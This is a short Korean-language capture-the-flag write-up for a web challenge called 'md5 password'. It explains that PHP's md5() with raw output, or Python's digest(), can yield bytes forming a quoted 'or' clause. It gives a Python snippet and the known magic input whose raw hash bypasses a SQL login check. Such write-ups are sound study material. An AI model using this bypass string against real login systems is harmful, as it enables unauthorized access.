md5 password
원래는 계속 존댓말로 썼는데 그냥 반말로 쓸게 반말로 쓰는 게 익숙해져서 안 되겠다.
Vulnerability
md5의 인코딩 방식을 사용하였을 때 SQLI가 일어날 수 있는 취약점이 있다. 바로 아래의 함수 때문에 가능해진다. 이게 php도 가능하고 python에서의 md5().digest()함수를 사용하여도 동일한 값이 나다.
md5( string $str [, bool $raw_output = FALSE ] )
위의 함수에서 문제 되는 부분은 $raw_output 때문이다. False일 경우에는 16진수 형태인 문자로 나와서 취약하지 않지만 True일 때가 문제가 된다. php의 경우에 True일 경우 digest로 출력이 되는데 hexdigest와 digest의 차이는 아래와 같다.
hexdigest : 5d41402abc4b2a76b9719d911017c592
digest : b']A@*\xbcK*v\xb9q\x9d\x91\x10\x17\xc5\x92'
digest의 경우에 ' or ' 과 같은 형태의 코드가 나와서 취약점이 된다.!!
Exploit
import hashlib
h = hashlib.md5(b'129581926211651571912466741651878684928').digest()
print(h)
위의 코드를 돌려보면 b"\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8" 결과가 나오는데 1'or'이 보이지 않는가 이거 찾은 사람도 3,4일인가 걸쳐서 찾았다더라 ㄷㄷ
Solve : 129581926211651571912466741651878684928
❗ 저작권
'CTF > Web' 카테고리의 다른 글
[Dreamhack CTF] blind-command (0) | 2022.07.25 |
---|---|
[Wargame.kr] strcmp (0) | 2022.07.25 |
[Wargame.kr] jff3_magic (0) | 2022.07.25 |
[Dreamhack CTF] command-injection-1 (0) | 2022.07.24 |
[Dreamhack CTF] Mango (0) | 2022.07.23 |